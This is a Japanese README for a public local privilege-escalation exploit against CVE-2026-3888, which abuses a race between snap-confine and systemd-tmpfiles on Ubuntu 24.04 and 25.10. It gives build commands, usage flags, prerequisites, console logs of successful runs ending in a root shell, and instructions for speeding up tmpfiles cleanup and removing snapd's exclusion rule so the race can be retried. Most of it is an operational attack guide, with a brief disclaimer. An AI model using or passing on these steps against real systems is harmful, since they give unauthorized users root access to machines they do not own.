
# CVE-2026-3888 のローカル権限昇格エクスプロイト Ubuntu上のsnap-confineとsystemd-tmpfilesを標的としたCVE-2026-3888のローカル権限昇格エクスプロイトで、rootアクセスを達成するためのSUIDおよびケーパビリティのバリアントを提供します。
非特権ユーザーからUbuntu Desktop 24.04+上の完全なrootへのローカル権限昇格。snap-confineとsystemd-tmpfiles間のTOCTOUレースコンディションを悪用します。SUIDとCapabilitiesの2つのバリアントが提供されています。
CVSS: 7.8 (高) | アドバイザリ: Qualys | パッチ: snapd 2.74.2、2026年3月17日
systemd-tmpfilesが/tmp配下の古い.snap模倣ディレクトリを削除(30日経過)snap-confineをシングルステップ実行し、模倣バインドマウントシーケンス中にレースを確実に勝利ld-linux-x86-64.so.2がsetreuid(0,0) + execveを呼び出すシェルコードに置き換えられるsnap-confineを実行すると、root権限でシェルコードがトリガーされる/var/snap/firefox/common/に配置され、サンドボックスから脱出する| ファイル | 説明 |
|---|---|
exploit_suid.c | 統合シングルバイナリエクスプロイト — 全7フェーズを1つのforkベースオーケストレータで実行 |
librootshell_suid.c | ペイロード — 生のx86_64 syscallを介してld-linux-x86-64.so.2を置き換える最小ELF |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
両方ともx86_64 Linux用にコンパイル(またはクロスコンパイル)する必要があります。exploitは静的にリンクされているため、ライブラリ依存なしでsnapサンドボックス内で実行できます。librootshell.soは生のsyscallのみを含むため-nostdlibを使用します — libcは不要です。
./exploit <librootshell.so> [-d] [-s]
| フラグ | 説明 |
|---|---|
-d | snap-confineのデバッグ出力を表示(冗長モード) |
-s | .snapクリーンアップ待機をスキップ(rootパスワードが必要) |
# 通常実行
./exploit ./librootshell.so
# デバッグモード
./exploit ./librootshell.so -d
# 失敗後の再試行
./exploit ./librootshell.so -s
エクスプロイトはサンドボックスに入り、systemd-tmpfilesが.snapを削除するのを待ち(標準のUbuntu 25.10では最大10日、標準のUbuntu 24.04では最大30日)、その後自動的にレースを実行します。成功すると、rootシェルにドロップします。
snap-confineがSUID-rootであること(-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timerがアクティブであることbusyboxが利用可能であること(/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 3122
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace destroyed.
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3122/cwd
[*] Building .snap and .exchange...
[*] 285 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3543)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: user:user 755
[+] Poisoned namespace PID: 3543
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfilesが/tmp配下の古い.snap模倣ディレクトリを削除snap-confineをシングルステップ実行し、/var/lib模倣バインドマウントシーケンス中にレースを確実に勝利/var/lib/snapd/mount/snap.snap-store.user-fstabの制御を獲得user-fstabエントリが改ざんされた/etc(ld.so.preload付き)をサンドボックス内にバインドマウント/tmp/.snapからSUID-rootのsuバイナリを実行すると、setreuid(0,0) + execve("/tmp/sh")を呼び出すlibrootshell.soがプリロードされる| ファイル | 説明 |
|---|---|
exploit_caps.c | 統合シングルバイナリエクスプロイト — 全7フェーズを1つのforkベースオーケストレータで実行 |
librootshell_caps.c | ペイロード — setreuid(0,0) + execveを呼び出すコンストラクタを持つ共有ライブラリ |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
両方ともx86_64 Linux用にコンパイル(またはクロスコンパイル)する必要があります。exploitは静的にリンクされているため、ライブラリ依存なしでsnapサンドボックス内で実行できます。librootshell.soは-nostartfilesと__attribute__((constructor))を使用します — ターゲットバイナリのmain()の前にld.so.preloadを介してロードされます。
./exploit <librootshell.so> [-d] [-s]
| フラグ | 説明 |
|---|---|
-d | snap-confineのデバッグ出力を表示(冗長モード) |
-s | .snapクリーンアップ待機をスキップ(.snapが既に存在しない場合に使用) |
# 通常実行
./exploit ./librootshell.so
# デバッグモード
./exploit ./librootshell.so -d
# 待機をスキップ(再試行)
./exploit ./librootshell.so -s
エクスプロイトはサンドボックスに入り、systemd-tmpfilesが.snapを削除するのを待ち(標準のUbuntu 25.10では最大10日、標準のUbuntu 24.04では最大30日)、その後自動的にレースを実行します。成功すると、rootシェルにドロップします。
snap-confineがcapabilitiesを持つこと(cap_sys_admin、cap_chown、cap_dac_overrideなど)snap-store snapがインストールされていること(Ubuntu Desktopのデフォルト)core22ベースsnapがインストールされていることsystemd-tmpfiles-clean.timerがアクティブであることbusyboxが利用可能であること(/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.71.1+ubuntu25.10.1
snapd 2.71.1+ubuntu25.10.1
series 16
ubuntu 25.10
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE
================================================================
[*] Payload: /home/user/./librootshell.so (14320 bytes)
[Phase 1] Entering snap-store sandbox...
[+] Inner shell PID: 3501
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 10 days on Ubuntu 25.10).
[*] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] Namespace destroyed (.mnt gone).
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3501/cwd
[*] Building .snap and .exchange...
[*] 17 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3678)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[+] Race won. /var/lib/snapd is now user-owned.
[Phase 5] Setting up payload and user-fstab...
[*] Copying /etc to .snap/etc...
[*] Writing ld.so.preload...
[*] Writing user-fstab...
[*] Copying librootshell.so to /tmp/...
[*] Copying busybox...
[*] Writing escape script...
[*] Swapping var/lib back (restoring original snapd metadata)...
[+] Payload ready.
[Phase 6] Triggering root via SUID binary in /tmp/.snap...
[*] Executing: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/snap-store/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/snap-store/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
標準のUbuntuインストールでは、.snapのクリーンアップに30日(24.04)または10日(25.10)かかります。テスト用にこれを高速化するには、/tmpの経過時間とタイマー間隔を短縮します:
/usr/lib/tmpfiles.d/tmp.confを編集します(rootとして):
# 経過時間を30dから4mに変更
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf
確認:
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# 次のように表示されるはず: q /tmp 1777 root root 4m
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer
確認:
systemctl list-timers systemd-tmpfiles-clean
# NEXT列が現在から約1分後を示すはず
snapd 2.73+はtmpfilesが.snapをクリーンアップするのを防ぐ除外ルールを追加します。システムにこれがある場合は、確認して削除します:
cat /usr/lib/tmpfiles.d/snapd.conf
# 次の行がある場合: x /tmp/snap-private-tmp/*/tmp/.snap
# その行を削除するか、snapd 2.71.1にダウングレードしてください
これらの設定により、.snapは古くなってから約5分以内にクリーンアップされ、テスト中の迅速な反復が可能になります。
このコードは、明示的な書面による許可が得られた教育目的、認可されたセキュリティ研究、およびペネトレーションテスト業務のためにのみ提供されます。著者は本ソフトウェアの誤用について一切の責任を負いません。本コードを使用することにより、お客様はご自身の行動とその使用から生じるいかなる結果に対しても単独で責任を負うことに同意したものとみなされます。所有していない、またはテストする明示的な許可を得ていないシステムに対して本コードを使用しないでください。
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) |
|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin など) |
| ターゲットsnap | firefox | snap-store |
| 模倣ターゲット | /usr/lib/x86_64-linux-gnu (~285エントリ) | /var/lib (~17エントリ) |
| エクスプロイトベクター | シェルコードでld-linux-x86-64.so.2を上書き | user-fstab + ld.so.preloadを制御 |
| ペイロード形式 | 生のsyscallを含む静的ELF | __attribute__((constructor))を持つ共有ライブラリ |
| rootトリガー | SUID snap-confineが改ざんされた動的リンカをロード | /tmp/.snap内のSUID suが.soをプリロード |
| cgroup要件 | 任意のsnap.*名 | 完全一致: snap.snap-store.hook.configure |
.snapクリーンアップ | 30日 | 10日 |
| サンドボックス脱出 | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
/var/snap/snap-store/common/に配置され、サンドボックスから脱出する